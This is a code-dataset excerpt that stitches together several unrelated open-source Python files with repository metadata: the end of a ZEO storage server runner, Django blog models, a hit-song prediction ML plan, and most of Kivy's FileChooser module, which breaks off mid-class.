s.close()
return 1
def clear_socket(self):
if isinstance(self.options.address, type("")):
try:
os.unlink(self.options.address)
except os.error:
pass
def open_storages(self):
self.storages = {}
for opener in self.options.storages:
log("opening storage %r using %s"
% (opener.name, opener.__class__.__name__))
self.storages[opener.name] = opener.open()
def setup_signals(self):
"""Set up signal handlers.
The signal handler for SIGFOO is a method handle_sigfoo().
If no handler method is defined for a signal, the signal
action is not changed from its initial value. The handler
method is called without additional arguments.
"""
if os.name != "posix":
if os.name == "nt":
self.setup_win32_signals()
return
if hasattr(signal, 'SIGXFSZ'):
signal.signal(signal.SIGXFSZ, signal.SIG_IGN) # Special case
init_signames()
for sig, name in signames.items():
method = getattr(self, "handle_" + name.lower(), None)
if method is not None:
def wrapper(sig_dummy, frame_dummy, method=method):
method()
signal.signal(sig, wrapper)
def setup_win32_signals(self):
# Borrow the Zope Signals package win32 support, if available.
# Signals does a check/log for the availability of pywin32.
try:
import Signals.Signals
except ImportError:
logger.debug("Signals package not found. "
"Windows-specific signal handler "
"will *not* be installed.")
return
SignalHandler = Signals.Signals.SignalHandler
if SignalHandler is not None: # may be None if no pywin32.
SignalHandler.registerHandler(signal.SIGTERM,
windows_shutdown_handler)
SignalHandler.registerHandler(signal.SIGINT,
windows_shutdown_handler)
SIGUSR2 = 12 # not in signal module on Windows.
SignalHandler.registerHandler(SIGUSR2, self.handle_sigusr2)
def create_server(self):
self.server = create_server(self.storages, self.options)
def loop_forever(self):
if self.options.testing_exit_immediately:
print("testing exit immediately")
else:
self.server.loop()
def handle_sigterm(self):
log("terminated by SIGTERM")
sys.exit(0)
def handle_sigint(self):
log("terminated by SIGINT")
sys.exit(0)
def handle_sighup(self):
log("restarted by SIGHUP")
sys.exit(1)
def handle_sigusr2(self):
# log rotation signal - do the same as Zope 2.7/2.8...
if self.options.config_logger is None or os.name not in ("posix", "nt"):
log("received SIGUSR2, but it was not handled!",
level=logging.WARNING)
return
loggers = [self.options.config_logger]
if os.name == "posix":
for l in loggers:
l.reopen()
log("Log files reopened successfully", level=logging.INFO)
else: # nt - same rotation code as in Zope's Signals/Signals.py
for l in loggers:
for f in l.handler_factories:
handler = f()
if hasattr(handler, 'rotate') and callable(handler.rotate):
handler.rotate()
log("Log files rotation complete", level=logging.INFO)
def _get_pidfile(self):
pidfile = self.options.pid_file
# 'pidfile' is marked as not required.
if not pidfile:
# Try to find a reasonable location if the pidfile is not
# set. If we are running in a Zope environment, we can
# safely assume INSTANCE_HOME.
instance_home = os.environ.get("INSTANCE_HOME")
if not instance_home:
# If all our attempts failed, just log a message and
# proceed.
logger.debug("'pidfile' option not set, and 'INSTANCE_HOME' "
"environment variable could not be found. "
"Cannot guess pidfile location.")
return
self.options.pid_file = os.path.join(instance_home,
"var", "ZEO.pid")
def make_pidfile(self):
if not self.options.read_only:
self._get_pidfile()
pidfile = self.options.pid_file
if pidfile is None:
return
pid = os.getpid()
try:
if os.path.exists(pidfile):
os.unlink(pidfile)
f = open(pidfile, 'w')
print(pid, file=f)
f.close()
log("created PID file '%s'" % pidfile)
except IOError:
logger.error("PID file '%s' cannot be opened" % pidfile)
def remove_pidfile(self):
if not self.options.read_only:
pidfile = self.options.pid_file
if pidfile is None:
return
try:
if os.path.exists(pidfile):
os.unlink(pidfile)
log("removed PID file '%s'" % pidfile)
except IOError:
logger.error("PID file '%s' could not be removed" % pidfile)
def create_server(storages, options):
from .StorageServer import StorageServer
return StorageServer(
options.address,
storages,
read_only = options.read_only,
invalidation_queue_size = options.invalidation_queue_size,
invalidation_age = options.invalidation_age,
transaction_timeout = options.transaction_timeout,
monitor_address = options.monitor_address,
auth_protocol = options.auth_protocol,
auth_database = options.auth_database,
auth_realm = options.auth_realm,
)
# Signal names
signames = None
def signame(sig):
"""Return a symbolic name for a signal.
Return "signal NNN" if there is no corresponding SIG name in the
signal module.
"""
if signames is None:
init_signames()
return signames.get(sig) or "signal %d" % sig
def init_signames():
global signames
signames = {}
for name, sig in signal.__dict__.items():
k_startswith = getattr(name, "startswith", None)
if k_startswith is None:
continue
if k_startswith("SIG") and not k_startswith("SIG_"):
signames[sig] = name
# Main program
def main(args=None):
options = ZEOOptions()
options.realize(args)
s = ZEOServer(options)
s.main()
if __name__ == "__main__":
main()
| [
"[email protected]"
]
| |
2eb85d7c15450d4573568b284adfb1ab5a709c2d | d389c87cd0c160a0efad8f6eb1eefc221af35147 | /api/models.py | 9368acaeaef04b3cffd21f8d4ab6380b1ac3c700 | []
| no_license | shotaro0726/drf-vue1 | a9bced0c937b03fbd55f5f7e90c945bfadef560f | be68ee78d786029b1f7d3da1490312d6b5c096b0 | refs/heads/master | 2022-09-03T07:49:23.861354 | 2020-05-24T12:05:31 | 2020-05-24T12:05:31 | 265,808,817 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,637 | py | from django.db import models
from user.models import User
from markdownx.models import MarkdownxField
from markdownx.utils import markdown
class Category(models.Model):
name = models.CharField(max_length=25, unique=True)
post_num = models.IntegerField(default=0, null=False)
description = models.TextField(blank=True)
def __str__(self):
return self.name
def get_name(self):
return self.name
class Post(models.Model):
title = models.CharField(max_length=30)
content = MarkdownxField()
created = models.DateTimeField(auto_now_add=True)
author = models.ForeignKey(User, on_delete=models.PROTECT)
category = models.ForeignKey(Category, blank=True, null=True, on_delete=models.SET_NULL)
class Meta:
ordering = ['-created',]
def __str__(self):
return '{} :: {}'.format(self.title, self.author)
def get_absolute_url(self):
return '/blog/{}/'.format(self.pk)
def get_update_url(self):
return self.get_absolute_url() + 'update/'
def get_markdown_content(self):
return markdown(self.content)
class Comment(models.Model):
post = models.ForeignKey(Post, related_name='comments', on_delete=models.CASCADE)
text = MarkdownxField()
authir = models.ForeignKey(User, on_delete=models.CASCADE)
created_at = models.DateTimeField(auto_now_add=True)
modified_at = models.DateTimeField(auto_now=True)
def get_markdown_content(self):
return markdown(self.text)
def get_absolute_url(self):
return self.post.get_absolute_url() + '#commnet-id-{}'.format(self.pk)
| [
"[email protected]"
]
| |
a55e9c23dd7f6b0f13a8454e381e54949fe5a30a | 9f9f4280a02f451776ea08365a3f119448025c25 | /plans/hsppw/qcut_hsp-s_025_pwde_mlpc_hs.py | 01b83466a393659ca5738a2724501fe600601146 | [
"BSD-2-Clause"
]
| permissive | dbis-uibk/hit-prediction-code | 6b7effb2313d2499f49b2b14dd95ae7545299291 | c95be2cdedfcd5d5c27d0186f4c801d9be475389 | refs/heads/master | 2023-02-04T16:07:24.118915 | 2022-09-22T12:49:50 | 2022-09-22T12:49:50 | 226,829,436 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 2,161 | py | """Plan using all features."""
import os.path
from dbispipeline.evaluators import CvEpochEvaluator
from sklearn.neural_network import MLPClassifier
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import MinMaxScaler
import hit_prediction_code.common as common
from hit_prediction_code.dataloaders import ClassLoaderWrapper
from hit_prediction_code.dataloaders import EssentiaLoader
from hit_prediction_code.dataloaders import QcutLoaderWrapper
import hit_prediction_code.evaluations as evaluations
from hit_prediction_code.models.pairwise import PairwiseOrdinalModel
from hit_prediction_code.result_handlers import print_results_as_json
from hit_prediction_code.transformers.label import compute_hit_score_on_df
PATH_PREFIX = 'data/hit_song_prediction_msd_bb_lfm_ab/processed'
number_of_classes = 25
dataloader = ClassLoaderWrapper(
wrapped_loader=QcutLoaderWrapper(
wrapped_loader=EssentiaLoader(
dataset_path=os.path.join(
PATH_PREFIX,
'hsp-s_acousticbrainz.parquet',
),
features=[
*common.all_no_year_list(),
],
label='yang_hit_score',
nan_value=0,
data_modifier=lambda df: compute_hit_score_on_df(
df,
pc_column='lastfm_playcount',
lc_column='lastfm_listener_count',
hit_score_column='yang_hit_score',
),
),
number_of_bins=number_of_classes,
),
labels=list(range(number_of_classes)),
)
pipeline = Pipeline([
('scale', MinMaxScaler()),
('model',
PairwiseOrdinalModel(
wrapped_model=MLPClassifier(
hidden_layer_sizes=(256, 128, 128, 128, 64),
verbose=True,
),
pairs_factor=3.,
threshold_type='average',
pair_strategy='random',
pair_encoding='delta',
threshold_sample_training=False,
)),
])
evaluator = CvEpochEvaluator(
cv=evaluations.cv(),
scoring=evaluations.metrics.ordinal_classifier_scoring(),
scoring_step_size=1,
)
result_handlers = [
print_results_as_json,
]
| [
"[email protected]"
]
| |
fd4ef18957b6273d96e7cee67e6f983f534ba7f1 | c086a38a366b0724d7339ae94d6bfb489413d2f4 | /PythonEnv/Lib/site-packages/kivy/uix/filechooser.py | faf5d9a5ad68a96fd54d972e29097a3321a29a41 | []
| no_license | FlowkoHinti/Dionysos | 2dc06651a4fc9b4c8c90d264b2f820f34d736650 | d9f8fbf3bb0713527dc33383a7f3e135b2041638 | refs/heads/master | 2021-03-02T01:14:18.622703 | 2020-06-09T08:28:44 | 2020-06-09T08:28:44 | 245,826,041 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 36,467 | py | '''
FileChooser
===========
The FileChooser module provides various classes for describing, displaying and
browsing file systems.
Simple widgets
--------------
There are two ready-to-use widgets that provide views of the file system. Each
of these present the files and folders in a different style.
The :class:`FileChooserListView` displays file entries as text items in a
vertical list, where folders can be collapsed and expanded.
.. image:: images/filechooser_list.png
The :class:`FileChooserIconView` presents icons and text from left to right,
wrapping them as required.
.. image:: images/filechooser_icon.png
They both provide for scrolling, selection and basic user interaction.
Please refer to the :class:`FileChooserController` for details on supported
events and properties.
Widget composition
------------------
FileChooser classes adopt a
`MVC <https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller>`_
design. They are exposed so that you to extend and customize your file chooser
according to your needs.
The FileChooser classes can be categorized as follows:
* Models are represented by concrete implementations of the
:class:`FileSystemAbstract` class, such as the :class:`FileSystemLocal`.
* Views are represented by the :class:`FileChooserListLayout` and
:class:`FileChooserIconLayout` classes. These are used by the
:class:`FileChooserListView` and :class:`FileChooserIconView` widgets
respectively.
* Controllers are represented by concrete implementations of the
:class:`FileChooserController`, namely the :class:`FileChooser`,
:class:`FileChooserIconView` and :class:`FileChooserListView` classes.
This means you can define your own views or provide :class:`FileSystemAbstract`
implementations for alternative file systems for use with these widgets.
The :class:`FileChooser` can be used as a controller for handling multiple,
synchronized views of the same path. By combining these elements, you can add
your own views and file systems and have them easily interact with the existing
components.
Usage example
-------------
main.py
.. include:: ../../examples/RST_Editor/main.py
:literal:
editor.kv
.. highlight:: kv
.. include:: ../../examples/RST_Editor/editor.kv
:literal:
.. versionadded:: 1.0.5
.. versionchanged:: 1.2.0
In the chooser template, the `controller` is no longer a direct reference
but a weak-reference. If you are upgrading, you should change the notation
`root.controller.xxx` to `root.controller().xxx`.
'''
__all__ = ('FileChooserListView', 'FileChooserIconView',
'FileChooserListLayout', 'FileChooserIconLayout',
'FileChooser', 'FileChooserController',
'FileChooserProgressBase', 'FileSystemAbstract',
'FileSystemLocal')
from weakref import ref
from time import time
from kivy.compat import string_types
from kivy.factory import Factory
from kivy.clock import Clock
from kivy.lang import Builder
from kivy.logger import Logger
from kivy.utils import platform as core_platform
from kivy.uix.floatlayout import FloatLayout
from kivy.uix.relativelayout import RelativeLayout
from kivy.uix.screenmanager import ScreenManager, Screen
from kivy.properties import (
StringProperty, ListProperty, BooleanProperty, ObjectProperty,
NumericProperty, AliasProperty)
from os import listdir
from os.path import (
basename, join, sep, normpath, expanduser, altsep,
splitdrive, realpath, getsize, isdir, abspath, isfile, dirname)
from fnmatch import fnmatch
import collections
platform = core_platform
filesize_units = ('B', 'KB', 'MB', 'GB', 'TB')
_have_win32file = False
if platform == 'win':
# Import that module here as it's not available on non-windows machines.
# See http://bit.ly/i9klJE except that the attributes are defined in
# win32file not win32com (bug on page).
# Note: For some reason this doesn't work after a os.chdir(), no matter to
# what directory you change from where. Windows weirdness.
try:
from win32file import FILE_ATTRIBUTE_HIDDEN, GetFileAttributesExW, \
error
_have_win32file = True
except ImportError:
Logger.error('filechooser: win32file module is missing')
Logger.error('filechooser: we cant check if a file is hidden or not')
def alphanumeric_folders_first(files, filesystem):
return (sorted(f for f in files if filesystem.is_dir(f)) +
sorted(f for f in files if not filesystem.is_dir(f)))
class FileSystemAbstract(object):
'''Class for implementing a File System view that can be used with the
:class:`FileChooser <FileChooser>`.
.. versionadded:: 1.8.0
'''
def listdir(self, fn):
'''Return the list of files in the directory `fn`
'''
pass
def getsize(self, fn):
'''Return the size in bytes of a file
'''
pass
def is_hidden(self, fn):
'''Return True if the file is hidden
'''
pass
def is_dir(self, fn):
'''Return True if the argument passed to this method is a directory
'''
pass
class FileSystemLocal(FileSystemAbstract):
'''Implementation of :class:`FileSystemAbstract` for local files.
.. versionadded:: 1.8.0
'''
def listdir(self, fn):
return listdir(fn)
def getsize(self, fn):
return getsize(fn)
def is_hidden(self, fn):
if platform == 'win':
if not _have_win32file:
return False
try:
return GetFileAttributesExW(fn)[0] & FILE_ATTRIBUTE_HIDDEN
except error:
# This error can occurred when a file is already accessed by
# someone else. So don't return to True, because we have lot
# of chances to not being able to do anything with it.
Logger.exception('unable to access to <%s>' % fn)
return True
return basename(fn).startswith('.')
def is_dir(self, fn):
return isdir(fn)
class FileChooserProgressBase(FloatLayout):
'''Base for implementing a progress view. This view is used when too many
entries need to be created and are delayed over multiple frames.
.. versionadded:: 1.2.0
'''
path = StringProperty('')
'''Current path of the FileChooser, read-only.
'''
index = NumericProperty(0)
'''Current index of :attr:`total` entries to be loaded.
'''
total = NumericProperty(1)
'''Total number of entries to load.
'''
def cancel(self, *largs):
'''Cancel any action from the FileChooserController.
'''
if self.parent:
self.parent.cancel()
def on_touch_down(self, touch):
if self.collide_point(*touch.pos):
super(FileChooserProgressBase, self).on_touch_down(touch)
return True
def on_touch_move(self, touch):
if self.collide_point(*touch.pos):
super(FileChooserProgressBase, self).on_touch_move(touch)
return True
def on_touch_up(self, touch):
if self.collide_point(*touch.pos):
super(FileChooserProgressBase, self).on_touch_up(touch)
return True
class FileChooserProgress(FileChooserProgressBase):
pass
class FileChooserLayout(FloatLayout):
'''Base class for file chooser layouts.
.. versionadded:: 1.9.0
'''
VIEWNAME = 'undefined'
__events__ = ('on_entry_added', 'on_entries_cleared',
'on_subentry_to_entry', 'on_remove_subentry', 'on_submit')
controller = ObjectProperty()
'''
Reference to the controller handling this layout.
:class:`~kivy.properties.ObjectProperty`
'''
def on_entry_added(self, node, parent=None):
pass
def on_entries_cleared(self):
pass
def on_subentry_to_entry(self, subentry, entry):
pass
def on_remove_subentry(self, subentry, entry):
pass
def on_submit(self, selected, touch=None):
pass
class FileChooserListLayout(FileChooserLayout):
'''File chooser layout using a list view.
.. versionadded:: 1.9.0
'''
VIEWNAME = 'list'
_ENTRY_TEMPLATE = 'FileListEntry'
def __init__(self, **kwargs):
super(FileChooserListLayout, self).__init__(**kwargs)
self.fbind('on_entries_cleared', self.scroll_to_top)
def scroll_to_top(self, *args):
self.ids.scrollview.scroll_y = 1.0
class FileChooserIconLayout(FileChooserLayout):
'''File chooser layout using an icon view.
.. versionadded:: 1.9.0
'''
VIEWNAME = 'icon'
_ENTRY_TEMPLATE = 'FileIconEntry'
def __init__(self, **kwargs):
super(FileChooserIconLayout, self).__init__(**kwargs)
self.fbind('on_entries_cleared', self.scroll_to_top)
def scroll_to_top(self, *args):
self.ids.scrollview.scroll_y = 1.0
class FileChooserController(RelativeLayout):
'''Base for implementing a FileChooser. Don't use this class directly, but
prefer using an implementation such as the :class:`FileChooser`,
:class:`FileChooserListView` or :class:`FileChooserIconView`.
:Events:
`on_entry_added`: entry, parent
Fired when a root-level entry is added to the file list. If you
return True from this event, the entry is not added to FileChooser.
`on_entries_cleared`
Fired when the the entries list is cleared, usually when the
root is refreshed.
`on_subentry_to_entry`: entry, parent
Fired when a sub-entry is added to an existing entry or
when entries are removed from an entry e.g. when
a node is closed.
`on_submit`: selection, touch
Fired when a file has been selected with a double-tap.
'''
_ENTRY_TEMPLATE = None
layout = ObjectProperty(baseclass=FileChooserLayout)
'''
Reference to the layout widget instance.
layout is an :class:`~kivy.properties.ObjectProperty`.
.. versionadded:: 1.9.0
'''
path = StringProperty(u'/')
'''
path is a :class:`~kivy.properties.StringProperty` and defaults to the
current working directory as a unicode string. It specifies the path on the
filesystem that this controller should refer to.
.. warning::
If a unicode path is specified, all the files returned will be in
unicode, allowing the display of unicode files and paths. If a bytes
path is specified, only files and paths with ascii names will be
displayed properly: non-ascii filenames will be displayed and listed
with questions marks (?) instead of their unicode characters.
'''
filters = ListProperty([])
'''
filters specifies the filters to be applied to the files in the directory.
filters is a :class:`~kivy.properties.ListProperty` and defaults to [].
This is equivalent to '\\*' i.e. nothing is filtered.
The filters are not reset when the path changes. You need to do that
yourself if desired.
There are two kinds of filters: patterns and callbacks.
#. Patterns
e.g. ['\\*.png'].
You can use the following patterns:
========== =================================
Pattern Meaning
========== =================================
\\* matches everything
? matches any single character
[seq] matches any character in seq
[!seq] matches any character not in seq
========== =================================
#. Callbacks
You can specify a function that will be called for each file. The
callback will be passed the folder and file name as the first
and second parameters respectively. It should return True to
indicate a match and False otherwise.
.. versionchanged:: 1.4.0
Added the option to specify the filter as a callback.
'''
filter_dirs = BooleanProperty(False)
'''
Indicates whether filters should also apply to directories.
filter_dirs is a :class:`~kivy.properties.BooleanProperty` and defaults to
False.
'''
sort_func = ObjectProperty(alphanumeric_folders_first)
'''
Provides a function to be called with a list of filenames as the first
argument and the filesystem implementation as the second argument. It
returns a list of filenames sorted for display in the view.
sort_func is an :class:`~kivy.properties.ObjectProperty` and defaults to a
function returning alphanumerically named folders first.
.. versionchanged:: 1.8.0
The signature needs now 2 arguments: first the list of files,
second the filesystem class to use.
'''
files = ListProperty([])
'''
The list of files in the directory specified by path after applying the
filters.
files is a read-only :class:`~kivy.properties.ListProperty`.
'''
show_hidden = BooleanProperty(False)
'''
Determines whether hidden files and folders should be shown.
show_hidden is a :class:`~kivy.properties.BooleanProperty` and defaults to
False.
'''
selection = ListProperty([])
'''
Contains the list of files that are currently selected.
selection is a read-only :class:`~kivy.properties.ListProperty` and
defaults to [].
'''
multiselect = BooleanProperty(False)
'''
Determines whether the user is able to select multiple files or not.
multiselect is a :class:`~kivy.properties.BooleanProperty` and defaults to
False.
'''
dirselect = BooleanProperty(False)
'''
Determines whether directories are valid selections or not.
dirselect is a :class:`~kivy.properties.BooleanProperty` and defaults to
False.
.. versionadded:: 1.1.0
'''
rootpath = StringProperty(None, allownone=True)
'''
Root path to use instead of the system root path. If set, it will not show
a ".." directory to go up to the root path. For example, if you set
rootpath to /users/foo, the user will be unable to go to /users or to any
other directory not starting with /users/foo.
rootpath is a :class:`~kivy.properties.StringProperty` and defaults
to None.
.. versionadded:: 1.2.0
.. note::
Similarly to :attr:`path`, whether `rootpath` is specified as
bytes or a unicode string determines the type of the filenames and
paths read.
'''
progress_cls = ObjectProperty(FileChooserProgress)
'''Class to use for displaying a progress indicator for filechooser
loading.
progress_cls is an :class:`~kivy.properties.ObjectProperty` and defaults to
:class:`FileChooserProgress`.
.. versionadded:: 1.2.0
.. versionchanged:: 1.8.0
If set to a string, the :class:`~kivy.factory.Factory` will be used to
resolve the class name.
'''
file_encodings = ListProperty(
['utf-8', 'latin1', 'cp1252'], deprecated=True)
'''Possible encodings for decoding a filename to unicode. In the case that
the user has a non-ascii filename, undecodable without knowing its
initial encoding, we have no other choice than to guess it.
Please note that if you encounter an issue because of a missing encoding
here, we'll be glad to add it to this list.
file_encodings is a :class:`~kivy.properties.ListProperty` and defaults to
['utf-8', 'latin1', 'cp1252'].
.. versionadded:: 1.3.0
.. deprecated:: 1.8.0
This property is no longer used as the filechooser no longer decodes
the file names.
'''
file_system = ObjectProperty(FileSystemLocal(),
baseclass=FileSystemAbstract)
'''The file system object used to access the file system. This should be a
subclass of :class:`FileSystemAbstract`.
file_system is an :class:`~kivy.properties.ObjectProperty` and defaults to
:class:`FileSystemLocal()`
.. versionadded:: 1.8.0
'''
_update_files_ev = None
_create_files_entries_ev = None
__events__ = ('on_entry_added', 'on_entries_cleared',
'on_subentry_to_entry', 'on_remove_subentry', 'on_submit')
def __init__(self, **kwargs):
self._progress = None
super(FileChooserController, self).__init__(**kwargs)
self._items = []
fbind = self.fbind
fbind('selection', self._update_item_selection)
self._previous_path = [self.path]
fbind('path', self._save_previous_path)
update = self._trigger_update
fbind('path', update)
fbind('filters', update)
fbind('rootpath', update)
update()
def on_touch_down(self, touch):
# don't respond to touchs outside self
if not self.collide_point(*touch.pos):
return
if self.disabled:
return True
return super(FileChooserController, self).on_touch_down(touch)
def on_touch_up(self, touch):
# don't respond to touchs outside self
if not self.collide_point(*touch.pos):
return
if self.disabled:
return True
return super(FileChooserController, self).on_touch_up(touch)
def _update_item_selection(self, *args):
for item in self._items:
item.selected = item.path in self.selection
def _save_previous_path(self, instance, value):
self._previous_path.append(value)
self._previous_path = self._previous_path[-2:]
def _trigger_update(self, *args):
ev = self._update_files_ev
if ev is None:
ev = self._update_files_ev = Clock.create_trigger(
self._update_files)
ev()
def on_entry_added(self, node, parent=None):
if self.layout:
self.layout.dispatch('on_entry_added', node, parent)
def on_entries_cleared(self):
if self.layout:
self.layout.dispatch('on_entries_cleared')
def on_subentry_to_entry(self, subentry, entry):
if self.layout:
self.layout.dispatch('on_subentry_to_entry', subentry, entry)
def on_remove_subentry(self, subentry, entry):
if self.layout:
self.layout.dispatch('on_remove_subentry', subentry, entry)
def on_submit(self, selected, touch=None):
if self.layout:
self.layout.dispatch('on_submit', selected, touch)
def entry_touched(self, entry, touch):
'''(internal) This method must be called by the template when an entry
is touched by the user.
'''
if (
'button' in touch.profile and touch.button in (
'scrollup', 'scrolldown', 'scrollleft', 'scrollright')):
return False
_dir = self.file_system.is_dir(entry.path)
dirselect = self.dirselect
if _dir and dirselect and touch.is_double_tap:
self.open_entry(entry)
return
if self.multiselect:
if entry.path in self.selection:
self.selection.remove(entry.path)
else:
if _dir and not self.dirselect:
self.open_entry(entry)
return
self.selection.append(entry.path)
else:
if _dir and not self.dirselect:
return
self.selection = [abspath(join(self.path, entry.path)), ]
def entry_released(self, entry, touch):
'''(internal) This method must be called by the template when an entry
is touched by the user.
.. versionadded:: 1.1.0
'''
if (
'button' in touch.profile and touch.button in (
'scrollup', 'scrolldown', 'scrollleft', 'scrollright')):
return False
if not self.multiselect:
if self.file_system.is_dir(entry.path) and not self.dirselect:
self.open_entry(entry)
elif touch.is_double_tap:
if self.dirselect and self.file_system.is_dir(entry.path):
return
else:
self.dispatch('on_submit', self.selection, touch)
def open_entry(self, entry):
try:
# Just check if we can list the directory. This is also what
# _add_file does, so if it fails here, it would also fail later
# on. Do the check here to prevent setting path to an invalid
# directory that we cannot list.
self.file_system.listdir(entry.path)
except OSError:
entry.locked = True
else:
# If entry.path is to jump to previous directory, update path with
# parent directory
self.path = abspath(join(self.path, entry.path))
self.selection = [self.path, ] if self.dirselect else []
def _apply_filters(self, files):
if not self.filters:
return files
filtered = []
for filt in self.filters:
if isinstance(filt, collections.Callable):
filtered.extend([fn for fn in files if filt(self.path, fn)])
else:
filtered.extend([fn for fn in files if fnmatch(fn, filt)])
if not self.filter_dirs:
dirs = [fn for fn in files if self.file_system.is_dir(fn)]
filtered.extend(dirs)
return list(set(filtered))
def get_nice_size(self, fn):
'''Pass the filepath. Returns the size in the best human readable
format or '' if it is a directory (Don't recursively calculate size).
'''
if self.file_system.is_dir(fn):
return ''
try:
size = self.file_system.getsize(fn)
except OSError:
return '--'
for unit in filesize_units:
if size < 1024.0:
return '%1.0f %s' % (size, unit)
size /= 1024.0
def _update_files(self, *args, **kwargs):
# trigger to start gathering the files in the new directory
# we'll start a timer that will do the job, 10 times per frames
# (default)
self._gitems = []
self._gitems_parent = kwargs.get('parent', None)
self._gitems_gen = self._generate_file_entries(
path=kwargs.get('path', self.path),
parent=self._gitems_parent)
# cancel any previous clock if exist
ev = self._create_files_entries_ev
if ev is not None:
ev.cancel()
# show the progression screen
self._hide_progress()
if self._create_files_entries():
# not enough for creating all the entries, all a clock to continue
# start a timer for the next 100 ms
if ev is None:
ev = self._create_files_entries_ev = Clock.schedule_interval(
self._create_files_entries, .1)
ev()
def _get_file_paths(self, items):
return [file.path for file in items]
def _create_files_entries(self, *args):
# create maximum entries during 50ms max, or 10 minimum (slow system)
# (on a "fast system" (core i7 2700K), we can create up to 40 entries
# in 50 ms. So 10 is fine for low system.
start = time()
finished = False
index = total = count = 1
while time() - start < 0.05 or count < 10:
try:
index, total, item = next(self._gitems_gen)
self._gitems.append(item)
count += 1
except StopIteration:
finished = True
break
except TypeError: # in case _gitems_gen is None
finished = True
break
# if this wasn't enough for creating all the entries, show a progress
# bar, and report the activity to the user.
if not finished:
self._show_progress()
self._progress.total = total
self._progress.index = index
return True
# we created all the files, now push them on the view
self._items = items = self._gitems
parent = self._gitems_parent
if parent is None:
self.dispatch('on_entries_cleared')
for entry in items:
self.dispatch('on_entry_added', entry, parent)
else:
parent.entries[:] = items
for entry in items:
self.dispatch('on_subentry_to_entry', entry, parent)
self.files[:] = self._get_file_paths(items)
# stop the progression / creation
self._hide_progress()
self._gitems = None
self._gitems_gen = None
ev = self._create_files_entries_ev
if ev is not None:
ev.cancel()
return False
def cancel(self, *largs):
'''Cancel any background action started by filechooser, such as loading
a new directory.
.. versionadded:: 1.2.0
'''
ev = self._create_files_entries_ev
if ev is not None:
ev.cancel()
self._hide_progress()
if len(self._previous_path) > 1:
# if we cancel any action, the path will be set same as the
# previous one, so we can safely cancel the update of the previous
# path.
self.path = self._previous_path[-2]
ev = self._update_files_ev
if ev is not None:
ev.cancel()
def _show_progress(self):
if self._progress:
return
cls = self.progress_cls
if isinstance(cls, string_types):
cls = Factory.get(cls)
self._progress = cls(path=self.path)
self._progress.value = 0
self.add_widget(self._progress)
def _hide_progress(self):
if self._progress:
self.remove_widget(self._progress)
self._progress = None
def _generate_file_entries(self, *args, **kwargs):
# Generator that will create all the files entries.
# the generator is used via _update_files() and _create_files_entries()
# don't use it directly.
is_root = False
path = kwargs.get('path', self.path)
have_parent = kwargs.get('parent', None) is not None
# Add the components that are always needed
if self.rootpath:
rootpath = realpath(self.rootpath)
path = realpath(path)
if not path.startswith(rootpath):
self.path = rootpath
return
elif path == rootpath:
is_root = True
else:
if platform == 'win':
is_root = splitdrive(path)[1] in (sep, altsep)
elif platform in ('macosx', 'linux', 'android', 'ios'):
is_root = normpath(expanduser(path)) == sep
else:
# Unknown fs, just always add the .. entry but also log
Logger.warning('Filechooser: Unsupported OS: %r' % platform)
# generate an entries to go back to previous
if not is_root and not have_parent:
back = '..' + sep
if platform == 'win':
new_path = path[:path.rfind(sep)]
if sep not in new_path:
new_path += sep
pardir = self._create_entry_widget(dict(
name=back, size='', path=new_path, controller=ref(self),
isdir=True, parent=None, sep=sep,
get_nice_size=lambda: ''))
else:
pardir = self._create_entry_widget(dict(
name=back, size='', path=back, controller=ref(self),
isdir=True, parent=None, sep=sep,
get_nice_size=lambda: ''))
yield 0, 1, pardir
# generate all the entries for files
try:
for index, total, item in self._add_files(path):
yield index, total, item
except OSError:
Logger.exception('Unable to open directory <%s>' % self.path)
self.files[:] = []
def _create_entry_widget(self, ctx):
template = self.layout._ENTRY_TEMPLATE \
if self.layout else self._ENTRY_TEMPLATE
return Builder.template(template, **ctx)
def _add_files(self, path, parent=None):
path = expanduser(path)
if isfile(path):
path = dirname(path)
files = []
fappend = files.append
for f in self.file_system.listdir(path):
try:
# In the following, use fully qualified filenames
fappend(normpath(join(path, f)))
except UnicodeDecodeError:
Logger.exception('unable to decode <{}>'.format(f))
except UnicodeEncodeError:
Logger.exception('unable to encode <{}>'.format(f))
# Apply filename filters
files = self._apply_filters(files)
# Sort the list of files
files = self.sort_func(files, self.file_system)
is_hidden = self.file_system.is_hidden
if not self.show_hidden:
files = [x for x in files if not is_hidden(x)]
self.files[:] = files
total = len(files)
wself = ref(self)
for index, fn in enumerate(files):
def get_nice_size():
# Use a closure for lazy-loading here
return self.get_nice_size(fn)
ctx = {'name': basename(fn),
'get_nice_size': get_nice_size,
'path': fn,
'controller': wself,
'isdir': self.file_system.is_dir(fn),
'parent': parent,
'sep': sep}
entry = self._create_entry_widget(ctx)
yield index, total, entry
def entry_subselect(self, entry):
if not self.file_system.is_dir(entry.path):
return
self._update_files(path=entry.path, parent=entry)
def close_subselection(self, entry):
for subentry in entry.entries:
self.dispatch('on_remove_subentry', subentry, entry)
class FileChooserListView(FileChooserController):
'''Implementation of a :class:`FileChooserController` using a list view.
.. versionadded:: 1.9.0
'''
_ENTRY_TEMPLATE = 'FileListEntry'
class FileChooserIconView(FileChooserController):
'''Implementation of a :class:`FileChooserController` using an icon view.
.. versionadded:: 1.9.0
'''
_ENTRY_TEMPLATE = 'FileIconEntry'
class FileChooser(FileChooserController):
'''Implementation of a :class:`FileChooserController` which supports
switching between multiple, synced layout views.
The FileChooser can be used as follows:
.. code-block:: kv
BoxLayout:
orientation: 'vertical'
BoxLayout:
size_hint_y: None
height: sp(52)
Button:
text: 'Icon View'
on_press: fc.view_mode = 'icon'
Button:
text: 'List View'
on_press: fc.view_mode = 'list'
FileChooser:
id: fc
FileChooserIconLayout
FileChooserListLayout
.. versionadded:: 1.9.0
'''
manager = ObjectProperty()
'''
Reference to the :class:`~kivy.uix.screenmanager.ScreenManager` instance.
manager is an :class:`~kivy.properties.ObjectProperty`.
'''
_view_list = ListProperty()
def get_view_list(self):
return self._view_list
view_list = AliasProperty(get_view_list, bind=('_view_list',))
'''
List of views added to this FileChooser.
view_list is an :class:`~kivy.properties.AliasProperty` of type
:class:`list`.
'''
_view_mode = StringProperty()
def get_view_mode(self):
return self._view_mode
def set_view_mode(self, mode):
if mode not in self._view_list:
raise ValueError('unknown view mode %r' % mode)
self._view_mode = mode
